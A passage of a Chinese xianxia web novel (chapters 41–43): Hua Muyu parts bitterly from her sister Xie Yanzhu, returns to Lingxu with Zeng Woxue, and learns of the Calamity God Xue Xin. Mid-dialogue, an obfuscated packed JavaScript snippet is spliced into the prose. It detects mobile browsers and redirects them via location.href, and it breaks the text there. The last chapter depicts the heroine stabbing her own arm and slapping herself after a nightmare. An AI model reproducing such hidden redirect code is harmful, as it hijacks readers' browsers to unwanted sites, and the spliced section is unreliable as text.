她极快速地反应过来,也明白自己一惊之下做了蠢事,悄悄收回了匕首,从花沐雨背后走了出来:“不知是哪位英雄,前来所为何事?” 而在她身前,花沐雨同样神情一震。 她并未留意那被当胸一刀钉在地上的人,而是一眼认出了那位刀客。四目相对的一瞬,那个名字几乎脱口而出。然而她转瞬便注意到他蒙着脸,不知道他为何到此,可是有什么隐情,于是又把那个名字生生咽了下去。 曲照化为纸人燃尽,这是江流派的替身咒法,可救濒死弟子一命。想来此时曲照已经回到宗门,若是施救及时,或可捡回一条命。 刀客起身,抽出钉在地板上的窄刀,折起臂弯抹去刀上的血迹,而后归刀入鞘。 他并未看到花沐雨那一瞬的欲言又止,直接拉下了面罩。 看清他的脸,谢艳朱刚刚和缓的面色立刻沉了下来。 “师姐。”刀客先是看向花沐雨,而后才对谢艳朱拱手道,“在下凛岳弟子曾卧雪,为寻师姐而来。这法修来到殿外,意图开启杀阵。殿下一介凡人,在下担心其对殿下不利,这才将其诛杀。殿下可是受惊了?” 不久之前。 认出花沐雨的那一刻,曾卧雪忽然放松下来——甚至他此前从没意识到自己这段时间有多紧绷,直到看到花沐雨真实地、安然无恙地出现。 她似乎有事要做。找了那么久,这一刻他却不着急相见了。 花沐雨单薄不少。那件披风他从没见她穿过,看起来十分沉重。 他素来猜测师姐身世背景有些复杂,师父讳莫如深,花沐雨自己也没跟他提过。想来若是师姐想说,自然会告诉自己,他便不多过问。 听得殿中争执,曾卧雪并不插手,只在屋顶看护,正等着听宫殿内花沐雨的回答,余光中忽然有一点金光一闪。曾卧雪抬眼,便看到远处一点人影脚踩金光,翩跹而来。 是曲照。 曾卧雪的目光瞬间冷下来。 修士的五感何其敏锐,几个闪转,曲照靠近长乐宫,便知花沐雨果然回来了。 曲照不是谨小慎微的性子,但也绝不鲁莽,手中结印,落在宫门外的瞬间就要利用原本埋在长乐宫中的阵势起阵——他并不担心谢艳朱,有誓言在,七杀阵只会杀该杀的人。 但也就是在落在宫门外的这一瞬间,曲照头顶一凉。他心道不好,立刻将手上的起阵印转为守身印,飞快后撤的同时抬首,想要看清是何人在此埋伏,竟让他一无所觉。 他快,曾卧雪更快。 曲照还来不及看清来人,从天而降的窄刀就已经破开他刚布下的守身印。护体金光炸开一声巨响,曲照霎时什么都看不见,只能感到眉心发毛,那柄刀破开护体金光后竟威势不减,直朝他追来。 曲照庆幸自己撤得够快,一边合眼运功恢复视力,一边双手结印,七八道法诀同时朝对面砸去。 他自以为估算宫门口距离台阶还有几步的距离,故而信心满满。自己不需一瞬就能恢复视力,那七八道抵挡法印,在他用来也不过弹指。守身诀被破又如何?眨眼间自己便可一转攻势,结成起阵印,将这偷袭的人和宫门里的花沐雨困入七杀阵。 但他忽视了一点,此前他就没有察觉到有人埋伏,此刻光凭刀气,他就能找到要杀他的人了吗? 他找不到。 胸口一凉,他后撤的身势直接撞上刀锋。那刀锋上带着无可匹敌的千钧之势,卸去他后撤的劲、刺透他的身体还未罢,直带着他撞破宫门。 雪粒裹挟着寒气一起涌入室内,曲照被压着,一口血喷到了长乐宫的朱红的地毯上。 这一切,不过一个照面。 曲照败局已定,借替身纸人遁走。胜负已分,有曾卧雪在,谢艳朱想杀花沐雨不过是痴心妄想。 曾卧雪无所顾忌地表明身份,花沐雨心中一叹,散了剑,侧身让到了一旁。 血缘真是奇妙的东西,当她和谢艳朱像现在这样站在一起,即便神色各异、剑拔弩张、横眉冷对,她们的面庞、眼睛,乃至说话的声音,都透露出她们与生俱来的关联。 曾卧雪一笑:“殿下见过我吗?” “自然不曾见过。”谢艳朱勉强勾勾嘴角,“你要找你师姐对吗?她就在这里,你们可以离开了。” 花沐雨只迷倒了附近的侍卫,刚刚那一声炸响引来了其他注意,听隆隆的脚步声,已经有队伍过来了。 曾卧雪看了花沐雨一眼,提着刀出去,顺手摆正被撞坏的门,朝外面聚拢而来的大群侍卫喊道:“殿下正在与人密谈,闲杂人等退后。” 门外一阵嘈杂,谢艳朱皱着眉喝道:“都退下!” 于是四周安静下来,破门而入带来的寒气仍旧残存,曾卧雪的身影守在门外,室内再次只剩下花沐雨与谢艳朱两人。 谢艳朱不看花沐雨,气氛凝结,花沐雨喉头动了动,轻声开口:“我这次回来,并不是为了杀你。” 这是变故发生前她们之间的对话,此时重新提起,意外显得心平气和。 谢艳朱自然知道。若花沐雨真想杀她,又何须等到今天。 但她还是冷笑:“不为杀我?那你这个好师弟又是在干什么?” 花沐雨摇头,只是说:“在你刚出生的时候,我曾经去冷宫看过你。”她道,“你以为武英殿是什么地方?那一次探望,我差点害死你和母亲。” “什么地方?”谢艳朱讽刺道,“八岁入殿,十四封公主、记入文贵妃名下,十八封武英公主,被送入凛岳,求长生大道。平步青云、荣华富贵,谢艳红,你告诉我,武英殿是什么地方?”说到这儿,她笑了一声 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“你还有脸提母亲?”谢艳朱本不愿再与她起冲突,但听她的话,心中的愤怒压抑不住,忍不住压着声音反唇相讥,“我从小到大,听她念过你无数次。你是她口中的荣耀,可你为她带来了什么?我们日子过得凄苦,什么阿猫阿狗都能踩我们一脚。我说我姐姐入了武英殿,可是从没有人把我当回事!每次有了什么好东西,娘都留着等你回来,生生留到坏掉。可你呢,你回来几次?她一直在等你,她到死都在等你,你看过她一眼吗?!” “你怎么知道我没看过!”花沐雨终于抬高了音量,一顿,又将声音压低,“一入武英殿,能离开的都是死了被抬出去的尸体!十四岁,封公主,见到父皇,我以为我终于熬出头。你出生了,我请父皇让我去探望,父皇同意了。但我只见你们短短一面,回去时,父皇的桌上就摆着赐死你们的圣旨!你还不明白吗,我不敢有自己的想法,不敢提你们的名字,不敢表达出一点对你们的关心,我只有完全忘了你们,做只听命于父皇的兵器,你们才能继续活下去!十年,我偷偷看过你们多少次。能换一天和娘在一起的日子,哪怕立时死了我都愿意!我以为只要我听话,你们就都能好好活着,可是娘还是死了!我不敢哭,不敢闹,就是因为你还在鹘部!” “那就杀了他啊!”谢艳朱红着眼眶喊道,“你不是很厉害吗,你杀了他啊!” 话语停滞了。花沐雨看着谢艳朱,一颗泪砸了下来。 “你叫我怎么杀他?”她轻声说,“父皇是北境的皇帝,他死了,又有多少人要跟着死?更何况,父皇栽培我多年,虽然严厉,但也公平。贵妃对我虽不比对自己亲生的孩子亲厚,但也从没苛待过我……我真的没办法。” “我是你亲生妹妹!娘是你亲生母亲!”谢艳朱道,“你就我一个妹妹,你不帮着我,要帮一群外人?” “我只有你一个妹妹……”花沐雨低声道,“你们所有人都很好,你们所有人都没有对不起我,你们所有人都互相憎恨,你们所有人都让我完全站在你们那一边……你让我怎么办?” 室内安静下来。 仿佛失望透顶了,谢艳朱平静地开口:“谁能想到,父皇千挑万选出来的武英公主,不过是一个懦弱无能、虚伪自私、优柔寡断、心慈手软的废物。” 花沐雨惨然一笑,别过脸去。 “你对得起谁?”谢艳朱问,“我曾经无数次幻想,能拥有和你一样的天赋。你本来只是一个意外,是你天资不错,我才有了出生的机会。如果我能有你这样的天赋,从那之后的路,一定不会走得如此艰难。” “可获得天赋的,偏偏是你这样懦弱又无能的人。”谢艳朱冷眼看着花沐雨,“我对你太失望了。” “所有人都对我很失望。”花沐雨只是笑,“我实现不了父皇的期待,不能带着雪国称霸人间、带着谢氏飞升凌虚;我实现不了你的期待,不能给你荣华富贵、滔天权势;我实现不了娘的期待,不能日日陪着她、承欢膝下。我杀不了父皇,更杀不了你。我谁都杀不了,我什么事都办不成。” “不必跟我说这些软弱的话了。”谢艳朱冷冷地说,“你走吧。如果可以,我一定会杀了你。但是今天,我杀不了你。” 血亲姐妹一场,到此,她们之间的话已然说尽了。 花沐雨回来本求一个了断,但曾卧雪突然出现。她不杀谢艳朱,想死在谢艳朱手里也没机会。她不想这样稀里糊涂地过,但好像只能留下这样一个含糊的结局。 “江流派有异。与虎谋皮,不是长久之计。”花沐雨低声道,“气象骤变,蓝关官商勾结……” “你还想教我?”谢艳朱淡淡地说,“我得位不正,但未尝不想做个千古明君。” 花沐雨顿了顿:“武英令可以传信给我,若是日后有什么事……” 谢艳朱嗤笑一声,憎恶地看着她:“我死了也不会找你。” 花沐雨避开她的视线,最后戴上风帽,转身离开。 宫门从里面打开,曾卧雪回头:“说完了?” 花沐雨嗯了一声。“走吧。”她说。 41. 孤灯挑 走出长乐宫,花沐雨有些空茫茫的。 她原以为自己永远不会和人说起这些陈年旧事,当时话赶着话,把话全都说出来的欲望克制不住,然而此时回想,她又觉得自己那些话说得多余。想要解释,却也没解释清楚。 她想痛哭一场,又或是大醉一番,但有旁人在,一切情绪都被压抑了。 曾卧雪肯定听到了一切,他又会怎么看待自己? 从长乐宫到宫门还有很长的一段路,曾卧雪和花沐雨一起走过。守卫不敢阻拦,只在两旁警惕地看着。 “你是不是又长高了。”太安静了,花沐雨忽然说。 往日他们差不多高,但是此刻走在一起,曾卧雪已经比她高了。 “我们已经三十七天没见过了。”曾卧雪道。 “竟然已经过去这么久了。”时间又快又慢,和曾卧雪辞行下山仿佛就在昨天。花沐雨有些唏嘘,也有些艳羡和怀念,“年轻人变化就是快。” “任谁来看,我们年纪也是差不多的。”早察觉花沐雨状态有异,曾卧雪趁机问道,“你的灵力怎么回事?” “我此前被困七杀阵,现在是借残剑化生的。人间界没有灵气,我也是因此一直没能和你联系。”花沐雨道。 犹豫了一下,曾卧雪问:“‘残剑化生’是什么意思?” “是我人间的功法。”花沐雨淡淡地说,“已经没事了。” 曾卧雪心里有猜测,没有追问。 沉默地走出皇宫,宫门前是干净的雪地,一个脚印都没有。呼出的白雾化在空中,花沐雨仰头去看,雪不知何时已经停了。 “我有点累了。”她说,“我们找个暖和的地方坐一坐吧。” 巷子口有个馄饨摊,在如此深夜里孤零零地开着。 花沐雨带着曾卧雪在仅有的座位上坐下,熟络地叫了两碗馄饨。 锅里的水汽沸腾着,映透油灯氤氲的昏黄。老板不多话,沉默地把包好的馄饨下进锅里,待馄饨在水面翻开洁白的翅角,那便是煮好了。 一勺馄饨,一勺汤,冲进铺着紫菜海米的碗里,端上两人之间的饭桌。 “吃吧。”花沐雨给曾卧雪抽出筷子,而后拿起自己的。低下脸对着馄饨碗时,闭上眼睛,热热的水汽扑在脸上,叫人松泛。 “这段时间,你都去了哪里?”曾卧雪问。 花沐雨道:“我在扈陵。跟着小南国的人一起,救了一趟当地的瘟疫。” 扈陵。曾卧雪垂眸:“事情都解决了?” “都解决了。”花沐雨道。 曾卧雪不和花沐雨说中间的那些阴差阳错。吃了一会儿,花沐雨缓慢地恢复了一点儿气力。 “你是下界来找我的?”她问。 “是。”曾卧雪答道,“你一去半个月音讯全无,我下来看看。” “此前我遇见师父,他很担心你。”花沐雨道。 “我给师父留了书信。”曾卧雪说。 “他一直闭关,没来得及看,算出来你没事,就着急去找我了。”解释了一句,花沐雨问,“此次下界都去了哪儿?” 曾卧雪道:“在北境转了一圈,没找到你。” 这话听起来有些失落似的,花沐雨安慰道:“已经没事了。”又问,“难得出来一次,有遇到什么有趣的人和事吗?” 曾卧雪一顿,眼前晃过苍茫的草原。 “你去过草原吗?”曾卧雪问,“我找你时,去了北部的草原。那里一望无际,抬头可以见到绵延的高山。草原上有流动的牛羊和马群,走很久才能看到一户小小的人家。他们人都很好,我和他们换了冬袍。” “草原啊……”花沐雨一叹,“从前只是听过,还没去过呢。” “不如有时间我们再去一次吧。”曾卧雪道。他喜欢那里,想带花沐雨也去一次。 那又是多久远的事了。“好。”花沐雨应承下来,内心有向往,但其实并不觉得这个约定真的能实现。 “接下来你还打算去哪儿?”她问。 “你有什么想去的地方吗?”曾卧雪反问。 沉吟片刻,花沐雨道:“我答应过师父。若长阳无事,我就回凛岳去。” “我跟你一起回去。”曾卧雪道,“我们出来很久了。” “确实很久没回去了。”花沐雨淡淡地说着,看出了曾卧雪见到自己后的轻松和喜悦。 但这又怎么样呢?若是他知道了自己原本是什么样子的人,恐怕他也不会像现在这样喜欢自己吧? 两人之间沉寂下来,花沐雨等着曾卧雪问自己什么,但他什么都没说。 “其实……”曾卧雪迟疑地开口,“你不用太在意她的话。” 花沐雨抬头,看到曾卧雪的欲言又止。 “她这样说,其实是更恨你没有帮到她。”曾卧雪道,“她批判的并不是你的性格,她只是在乎那些切实存在的东西。” 花沐雨一笑。 这条巷子就在皇宫外不远处,曾卧雪路过几次,从没发现过这样一个馄饨摊子。如今坐在这里,从这个角度看过去,他第一次觉得有些眼熟。 “这是不是当初你捡到我的位置。”望着白雪覆盖的绿瓦,曾卧雪问道。 “是这里。”花沐雨和他的视线望着同一个方向。 每次往返皇宫与界门,花沐雨都会走这条路。长阳城中成千上万条街道,她在这里长大,对这里却和曾卧雪一样陌生。只有这一条路,十几年间她走了无数次。 花沐雨不想气氛过于沉闷,好像是她自己带着别人一起心情不好一样,于是勉强打趣着笑道:“哪是我捡到你,分明是你要杀我。” 回忆起当时的情景,曾卧雪始终介怀,道:“天寒地冻,若不是你把我带回凌虚界,我怕是早就已经冻死了。” 提到这个,花沐雨也不免感慨。 “当初到底是谁要杀你。”曾卧雪问,“指使我前来的那人,我完全回忆不起来了。” “我也不知道,不过也不重要了。”花沐雨转而问道,“说起这个,你怎么会忽然出现在长乐宫?” “我为寻你而来,本来第一站就到了长阳。”曾卧雪回忆着当天的场景,语气中有些黯然,“而后兜兜转转,我在蓝关见到了你的通缉令,意识到当日的谢皇不对,快马加鞭赶了回来。我先你一步到了长乐宫,一直埋伏在屋顶上。本想挟持谢艳朱问个究竟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294821|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你忽然出现,我便没有现身。而后曲照赶来,想要起阵,我这才动手。” “你这次贸然出手,还暴露了身份,恐怕对你不好。”花沐雨道。 “无妨。”曾卧雪道,“北境一直供奉凛岳,如今为何忽然与江流派扯上关系,他们解释不清楚。曲照其人一向自负,如今惨败我手,左右没死,他也不会声张。” 花沐雨一叹,不免担忧:“还是控制不好吗?” 曾卧雪乖巧道:“尚能控制。” 那他为何对曲照下那样的死手?花沐雨有些无奈。落入长乐宫时他一身煞气,她还以为是曾卧雪收不了手才这样的。 但到底孩子大了,有自己的处事方式。时间一晃而过,当时木头冰雕似的小屁孩已经长成了如今明白人情世故的年轻人。虽然时不时会像现在这样有些古怪,但整体来讲自己的教育成果喜人。花沐雨看着曾卧雪,月余未见,恍若隔世,破天荒地察觉到一些久违的欣慰。 “你把头发这样扎起来还挺好看的。”花沐雨夸道。 曾卧雪眼睛一亮,脸上扬起了笑意,又有些不好意思:“是吗。” 花沐雨点头。 “师父不知道便罢了,要是师父问起,你不顾禁令出手,我可不会瞒着。”这样打趣着,吃着馄饨,花沐雨终于觉得身上暖和一些了。然而念头一个松懈,谢艳朱骂她的那十六个字又忽地闪回脑中。 懦弱无能,虚伪自私,优柔寡断,心慈手软。 花沐雨的神色又淡了下去,低头舀着馄饨汤,不再说话了。 出长阳十余里,龙江望海口。 怪石嶙峋,恶浪排空,以龙江望海口之险,此地罕有人至,正是凌虚界与人间界之间东界门所在之地。 两道身影凭空落在崖上,正是花沐雨同曾卧雪——既已要回凌虚界,二人便未吝啬灵力,叫曾卧雪用灵力带着花沐雨来到此处。 随着他们的到来,原本空无一物的崖顶浮现一座残破的钟亭。钟亭红漆斑驳,曾卧雪走上前去,推动钟杵,裂口的铜钟发出悠远的钟鸣。 伴随着钟响,漆黑翻涌的海面上渐渐浮现出一层淡淡的雾气。仿佛拨云见日,雾气中乍然透出柔和的光线。光线越来越亮,其中的景色也逐渐清晰。 站在崖上抬头望去,透过裂口,仿佛仰看另一个世界。其中正值白日,青云缭绕,白鹤结群。青云之下是万丈高空,依稀可见群山环绕、岳上摩天,中有亭台楼阁,玉桥石栈,精妙绝伦。 三道钟声余韵落定,半空之中圆形的裂口四周光华流转,向崖上投下一道柔和的光柱——凌虚界与人间界之间的界门彻底打开了。 曾卧雪看向花沐雨,花沐雨迎着光走上前。全无灵力的她在这道光里宛若浮尘,轻飘飘地被吸引着向上飞去。曾卧雪紧随其后。 光柱如同天梯,接引着他们离开破晓前幽暗的人间。 穿过界门的霎那,彷佛突破了一道无形的阻碍。丰沛的灵气如浪潮,一齐涌入花沐雨的身体,最浓郁处竟凝如水珠,汇成丝丝缕缕的灵雾将花沐雨包裹。 身后,裂口骤然收敛,二人在烈烈风声中急速坠落。人间的海面上,光芒散尽,雾气和钟亭一齐隐去。 42. 伶仃身 传有凌虚倒人间,七十水路九重山。 戴月随风杳然去,不见尘寰三千年。 扇灭香上明火,香烟一线,散了又聚。 燃灯持香跪在蒲团上,身后花沐雨与曾卧雪随他一齐叩首。台案上,最末端,林栉风的旁边,多了个新的灵位,灵位上写着季有灵的名字。 奉过香,那个有点不着调,有点烂怂的小老头又回到燃灯身上。他拉过茶桌,热情又随性地安排着:“坐坐坐,坐吧!” 小炉燃起炭火,蒸汽顶开茶盖,燃灯在堂前烹茶,又给花沐雨介绍道:“这可是今年新下的云雾茶,你师弟亲手采亲手制的,总共才得了这么一罐。” 她近年来确实不常在山上,闻言仔细看了看,嗅到不同寻常的清冽茶香。 水汽氤氲,三人身侧是绵延至天顶的点点烛火。每盏灯的背后,都是一面沉默的牌位。 热水和冷水的声音是不一样的。茶杯斟满,燃灯先问花沐雨:“之前的事都处理好了?” “算是处理好了吧。”花沐雨答道。 “咱可说好了,从前没死成,往后可得好好活着。”燃灯煞有介事,“咱凛岳可就剩咱们仨了,每个人都非常珍贵啊!” 曾卧雪隐晦地看向花沐雨,花沐雨一哂:“是,师父。” 燃灯又问曾卧雪:“下界一趟,可有什么收获?” 曾卧雪道:“我去找师姐,见识到了许多不一样的风景。” 燃灯嗯了一声:“你此前的来信,我已看过。你在长阳见到了曲照?” “正是。”曾卧雪道,“我遇见他两次,第一次是在长阳城外,第二次是在皇城中,他欲起阵,困杀师姐。他出入皇宫,行迹自然,雪国禁军也都听他号令,可见他与雪国牵连不小。” 燃灯问花沐雨:“你借剑化生、灵力全失,也是他做的?” “他也是听命于人。”花沐雨平淡道,“就是不知道是只有他一人,还是整个江流派都参与到其中来。” 听她这样说,燃灯明白她不想追究,便道:“雪国供奉我们多年,更有你这一层牵扯在。只是凛岳势弱,他们转投他人,也是有可能的。” “想来父皇供奉凛岳未变,只是我的妹妹不知如何联系到曲照,借江流派之力登上皇位。”花沐雨心中有所推测,“我妹妹本在鹄部为妃,而后鹄部王上去世,她重回朝堂……”她并不确信,但总有这样的想法,“这其中,也不知是不是有薛心的手笔……” “从表面来看,薛心早已和江流派没有牵扯了。”担心曾卧雪不明白,燃灯问花沐雨,“扈陵的事,你和卧雪说过吗?” “还没有。”花沐雨答道,又对曾卧雪解释了一遍,“此前我同你说我在扈陵随小南国一行人解决瘟疫,瘟疫是因天谴而来。十六年前那一晚我急匆匆赶回凛岳,是为了给大师兄的魂灯护法,你可还记得?” 曾卧雪点头:“记得。” “此番天谴,与师兄的陨落有点关系。”花沐雨将林栉风与有灵之间的事简单说过,又道,“人间由盛夏重回隆冬,正是因为四季之灵的消散。” 燃灯也道:“回来之后,我查了很多关于四季之灵的记载。四季之灵,惊蛰时出生,大寒时消散。若四季之灵消散非时,人间会重归大寒,而后才会渐渐恢复原本的节令。四季之灵缺位,四时紊乱。有灵此番……不知道天地间又要多久才能再孕育出新的四季之灵。” 花沐雨同样叹惋:“天谴发生在十六年前,这十六年间,不知人间的天灾人祸,又有多少是薛心利用有灵引起的。” 她已并不常在人间,担着武英公主的名号,实际不管政事,对人间五国的情况也并不十分了解,若非这一次遇到小南国的人,也难以参与到其中来。 已经回到凛岳,门生堂内足够隐秘。仔细回想整件事情的经过,她说出早就发现的疑点:“若论天谴的源头,该是天帝拉着雨翁下棋,耽误了时辰,少下了三场雨,这才导致接下来发生的一切,为何反而要对有灵和人间降下天谴?” 然而燃灯却摇头道:“天帝代行天道,雷霆雨露,皆是天命。” “天命?如果只是这个理由,也太荒唐了。”花沐雨不解道,“难道天命,就是让无辜的人为其他人的错误负责吗?” 燃灯语气淡淡的:“天道要绝人间,天帝代行天道,无论手段如何,都是遵循天道。” 天道要绝人间?花沐雨面色未改,却将这句话听进耳中。 “还是先从薛心说起吧。”燃灯语气一振,转而道,“江流派的开山祖师江流圣人,凡姓薛,名心,是江河神女后人。” 凌虚界无人不知江流圣人名号。 曾卧雪看向花沐雨,他记得这个伴随着无数传说与崇敬的名字:“大家不都说江流圣人已经于三百年前的辟界之战中陨落了吗?” 花沐雨摇头,她也有许多疑问等待燃灯来解答。 燃灯听到了曾卧雪的疑问,道:“真正的江流圣人确实已经在三百年前的辟界之战中陨落了,如今行走在人间的,是祸神薛心。” 花沐雨与曾卧雪交换视线:“祸神?”他们都是第一次听到这个称号。 燃灯便为他们从头讲起。 开辟鸿蒙,人间本来是荒芜一片。神女命令江河在人间的大地上流淌,水流滋养万物,哺育人类,人族这才得以在大地上繁衍生息。 江流圣人薛心正是身怀至善本心的江河神女后裔。 三千年前,人间的修行者受天道感召,集人间灵气,开辟凌虚界,上接东天,远隔幽冥。此后,修士便一直居于凌虚界,不问世事、潜心修道。那时没有界门,凌虚界居神仙界之下,与人间界彻底分隔。 薛圣为法修之首,虽身在凌虚界,但其修为与金仙无异。 修行到此等地步,薛圣早可以沟通天地、触摸天道。众人以为她不日便要飞升,却不知她竟有意留在凌虚界。 “她为什么要留在凌虚界?”花沐雨问。 燃灯道:“天地万物,生时极清,清久必浊,浊积则垢,垢极则毁,复又极清。如此循环往复,轮转更替。三千年,人族繁衍壮大,毁林开荒、捕猎生灵,不加节制,以致发展鼎盛……” 言语一顿,燃灯缓缓吐出最后的断言:“然而盛极必衰,气数已尽。” 花沐雨愕然。 燃灯接着说道:“薛圣不信人族已行至穷途,辗转求索,想要为人族求一条生路。她召集凌虚界各路大能,立四方阵,将凌虚界与人间再次结合,开东南西北四道界门,以凌虚界的灵气反哺人间。结界之日,天帝震怒。此举逆天而为,由此引发了神仙界与凌虚界之间的辟界之战。” “辟界之战打得惨烈。凛岳护阵,满门战死,只剩下我一个。薛圣祭阵,修为大损,被天帝惩罚,失去至善本心,换上一颗祸心,从此被封祸神,专为人间带去灾祸。”燃灯道,“经此一战,凌虚 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燃灯道:“此事已成秘辛,除去当年的人,已经再无人知晓。这么多年,我从未对你们提及,便是唯恐你们陷入此人间覆灭之局,灰飞烟灭、万劫不复。谁料人间一趟,阴差阳错,你还是卷入了天谴之中,所幸性命无碍。此乃天命,凛岳已经错过一次,你们万万不可重蹈覆辙,一错再错,仍旧执迷不悟下去。” “人间覆灭是什么样子?”花沐雨问。 “人间的覆灭,并不是一瞬间天崩地裂的灾难。”燃灯道,“起初是天灾人祸不断,人不断死去,直到最后生灵灭绝,大地瓦解,一切回归天地初开的一片混沌。” 天谴,命数。一波未平又骤然听闻此事,花沐雨只觉心乱如麻,千头万绪,难以理清。 “四方阵以五行灵物建立。而今三百年过去,当初建阵时的五行灵物也将耗尽,四方阵将破,到时候界门封闭,人间覆灭的脚步才要真正开始。”燃灯知她心绪纷乱,道,“人间辗转一趟,你们也都辛苦了。此番人间应劫,我们不便再下人间,今日我与你们所说之事,也不要对别人提起。你们各自休息去吧。”说完这事,燃灯又对花沐雨交代,“再过一段时间,你跟我去七十九门会。” “这次七十九门会又所为何事?”花沐雨问。 燃灯道:“正是为了我刚才所说的四方阵与五行灵物之事。” 门生堂的大门缓缓关上,辞别师父,花沐雨仍然沉浸在思绪里。 屋外又飘起了雨,曾卧雪撑起伞遮在她头上:“还在想师父说的?你已经很久没休息了。” 花沐雨神思不属地嗯了一声,心不在焉地跟着曾卧雪伞下去往偏殿,那是他们日常起卧的地方。 在桌边呆坐了一会儿,曾卧雪见她整个人木了似的,一边摆弄手中的鹤纸一边劝道:“你太累了。此事不在一时,不如先去休息,之后再从长计议。” 此时还没到凌虚界的夜晚。只是雨天,天光昏暗的下午,无端叫人惫懒。 花沐雨已经感觉到力不从心,在人间消耗的心力并没有得到恢复,一下子涌入的灵力又沉甸甸地拽着四肢,叫她从指尖与额头都泛起无力的麻木。 “去睡一会儿吧。”曾卧雪再次劝道。 花沐雨有些飘忽地站起来,走了两步,又忽然问道:“卧雪,你说……人有什么好拯救的?” 43. 雨打旧梦苦自恨 一切都不过是一场梦,但做梦的人沉浸在梦里,只有醒过来的人才能看清。 花沐雨认出了这个地方,这里是武英殿的斗场。 四周是大大小小的孩子的尸体,他们有的面朝下趴着,有的倚在尸堆上、深深垂着头。 她感受到指缝间鲜血粘腻的触感,仿佛皮肤都粘连到一起。她正在向前跑,有人在追着她,她想要找到一个安全的地方。远处还有很多人,他们都在不死不休地争斗。 她知道他们是和自己一起在武英殿听教的同窗,但是叫不出来他们的名字。她从没有看清过他们的脸,但是莫名地知道他们的身份。 很奇怪,他们都是过去的样子,但是她已经是现在的自己了。那些看不清脸的孩子们朝她攻击,她想要躲开,但是浑身没有力气。转瞬间,她的身上布满伤口——好像在此前她身上就已经满是伤口了,她却奇异地感觉不到疼痛。 她一路逃跑,沿着斗场的墙壁,却找不到出去的路。忽然,她跑到一处皇宫模样的地方,谢皇出现在她的面前。 她一下子感觉到谢皇的不悦,一打颤,立刻跪了下来。 她面前的谢皇说:“怎么还没分出胜负?你没把他们都杀了,雪国这次落在人后,我们要拉几个人出来去砍头。” 她明白了谢皇的意思,雪国一直是最强大的国家,因为自己没能获胜,雪国败落,而谢罪的方式是就砍头。 她的身边有其他很多同窗,队伍歪歪扭扭的,大家都站在一片空地上。 站在她前面的人跟她说:“砍头不会死的,头砍下来之后,和身体一起按照原来的位置摆好,再在没有光的小房间里放几天,头就能重新长好,人也就活过来了。” 没有理由的,她自然而然地知道那个要砍头谢罪的人是她。周围的人都习以为常,她也习以为常,只是心里有点害怕。 她嘱托那个人:“我被砍头之后,到头重新长好的这几天,你帮我看着点,如果我娘来找我,你就帮我应付一下,我怕我娘担心。” 转眼她被带到空地中间,四周密密麻麻地站满了人。他们身上都带着血,低着头看着她。谢艳朱不知道为什么站在人群的最前面,离她特别近。 她并没有被绑着,自如地走到谢艳朱面前,问她你为什么在这里,娘呢? 谢艳朱并没有回答。 忽然有人催促:“怎么还不砍头?” “一会儿你别看。”她一边叮嘱着谢艳朱,一边赶紧回到断头台边。 锋利的刀刃就悬在脖颈上,她身体害怕得从心底泛起凉意,但是身体一动不动——砍头是最平常不过的事了,大家都已经习惯,不用怕,没什么好怕的,若是怕了叫人笑话,也给人添麻烦。 那刀什么时候会落下来? 花沐雨浑身一颤,猛地睁开眼睛。 这是梦,但是只有醒过来才能知道这是梦。 雨还在下,花沐雨双手冰冷,眼前是一片昏黑,让她分不清今夕是何年。 她躺着发了会儿呆,无力于自己反复做这样的梦,那种怪异的胆寒还留在她的身体里,她恨不得砸开自己的脑子,好叫自己停止思考。 时间还早,她尝试着继续睡去,然而一闭上眼睛就忍不住想如果自己睡过去的话会不会继续那个梦。 刀刃悬在颈后的胆寒犹在。被砍下脑袋真的不会死吗?她睡意全无,下床坐到桌前,没有点灯,摸着黑将杯中剩下的半盏冷水喝了下去。 又缓了一会儿,她走到窗边,打开窗子。 雨水的味道扑面而来,门生堂中幽暗的烛光略微照亮漆黑的雨夜,师弟和师父的房间都静悄悄的,一片黑暗,好像只有她还醒着。 我为什么要跟她说那些话。 长乐宫中的一幕又闪回眼前。她仿佛再次回到那个场景,审视着自己的每一个举动。我为什么要和艳朱说那些呢?她诘问自己。你在希冀谁的体谅?你在要求谁的宽恕? 难以忍受的刺痛和燥痒从她心口泛起。别想了!她狠狠抽了自己一巴掌,然而脑中又再一次回到了梦里。 武英殿的同窗都是在哪一次斗场中死去的?她回忆着那些脸庞。 自己又曾经杀过多少人?她像过去无数次那样从头细数。 她知道可能不会有人在意这件事,但她就是止不住地回想。越是回想,心中焦灼越甚。 够了,停下。化出匕首,她带着仇恨朝自己的小臂刺了进去。不要让自己陷入这种思绪,快想些别的! 伤口处首先泛起的是一种被穿透的古怪触感。她抽出匕首,疼痛和鲜血一起涌了出来。 这份疼痛使她沁出眼泪,然而回忆仍在脑海中叫嚣。她又刺了几刀,终于被涌上的疼痛拉回了思绪。 匕首消散在空中,她将手伸出窗外,等伤口被大雨冲得发白,也不怎么流血了,又去换掉湿了半截的衣服,在柜子里找到纱布,用纱布将伤口裹好。 点起灯,房间终于亮了起来。她将脱下的衣服按进脸盆里,搓洗袖子上没冲干净的血迹。 一边搓洗,她一边想:别再回忆过去了。人间覆灭在即,我要怎么做? 我要保住北境、保住雪国吗?艳朱还在,那些无辜的人还在。 能将雪国迁到凌虚界吗?雪国立足于人间,若想护住雪国,是不是只能保住人间? 但是只保护雪国吗?人间其他地方的人怎么办?难道只能看着他们在浩劫中湮灭吗? 又或者真如师父所问,人间有什么好拯救的?那些腐烂的、恶臭的,你忘记了吗? 她无法回答这个问题,思绪喘息的一霎那,谢艳朱说她的那句话又倏然闪回她的脑子里。 懦弱无能、虚伪自私、优柔寡断、心慈手软。 别说了! 花沐雨发出无声的嘶吼,衣服落在水盆里,她又扇了自己几巴掌,最后捂着脸贴着柜子滑坐在地,蜷成一团,将脸藏在双腿后面。 